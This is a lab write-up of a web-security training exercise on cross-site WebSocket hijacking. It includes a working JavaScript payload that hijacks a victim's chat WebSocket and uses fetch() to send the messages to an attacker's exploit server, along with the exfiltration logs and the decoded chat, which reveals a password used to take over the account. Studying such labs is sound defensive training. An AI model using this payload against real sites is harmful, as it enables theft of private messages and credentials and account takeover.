Cross site WebSocket hijacking
Description
This online shop has a live chat feature implemented using WebSockets.
To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.
Approach
After accessing the lab, I enabled the FoxyProxy extension to intercept all requests through Burp Suite. Noticing that a READY
command is sent to the WebSocket after connection, which retrieves all previous messages, I realized this could be used to get the victim's chat history.
To achieve this, I crafted an exploit page that, when visited by the victim, connects to the WebSocket chat endpoint, sends the READY
command, and then sends the received data to my exploit server. Here is the script I used:
<script>
var ws = new WebSocket('wss://0a6300c10420b1d981933138009d00ee.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://exploit-0af7006d044d8ab080e0cf5a01240041.exploit-server.net/exploit?recieved_data='+btoa(event.data));
};
</script>
This script connects the victim to the WebSocket, sends the READY
command, and sends the received data, base64 encoded, to my exploit server.
After clicking Store
and Deliver exploit to victim
, I checked the logs on my exploit server and found multiple requests with base64 encoded data:
10.0.3.141 2024-06-07 17:11:02 +0000 "GET /exploit?received_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ== HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
10.0.3.141 2024-06-07 17:11:02 +0000 "GET /exploit?received_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0= HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
10.0.3.141 2024-06-07 17:11:02 +0000 "GET /exploit?received_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3Mgcjd6ZjBmaG82anJ1c2EzMXFxZjcifQ== HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
10.0.3.141 2024-06-07 17:11:02 +0000 "GET /exploit?received_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
10.0.3.141 2024-06-07 17:11:02 +0000 "GET /exploit?received_data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9 HTTP/1.1"
Decoding the base64 data in Burp's decoder provided the following chat history:
{"user":"Hal Pline","content":"Hello, how can I help?"}
{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it's r7zf0fho6jrusa31qqf7"}
{"user":"You","content":"Thanks, I hope this doesn't come back to bite me!"}
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
Using the password from the chat history, I logged in as Carlos, solving the lab.